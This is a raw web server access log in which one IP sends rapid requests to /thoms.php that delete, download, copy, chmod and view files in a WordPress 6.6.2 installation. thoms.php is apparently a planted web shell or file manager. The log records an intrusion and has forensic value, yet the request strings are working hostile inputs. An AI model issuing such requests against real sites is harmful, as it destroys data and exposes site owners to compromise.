45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22161 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?del=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22250 "https://163.245.207.76:443/thoms.php?del=class-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:34 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-role.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?del=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=style-engine&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?chmod=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?dl=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?del=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?dl=https-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22200 "https://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fversion.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fversion.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fversion.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:35 -0400] "GET /thoms.php?del=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76:443/thoms.php?del=cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=error-protection.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=error-protection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?dl=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-gd.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?dl=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=link-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:36 -0400] "GET /thoms.php?dl=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22193 "https://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?dl=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=cron.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?del=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?dl=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=meta.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?del=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=bookmark-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:38 -0400] "GET /thoms.php?chmod=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
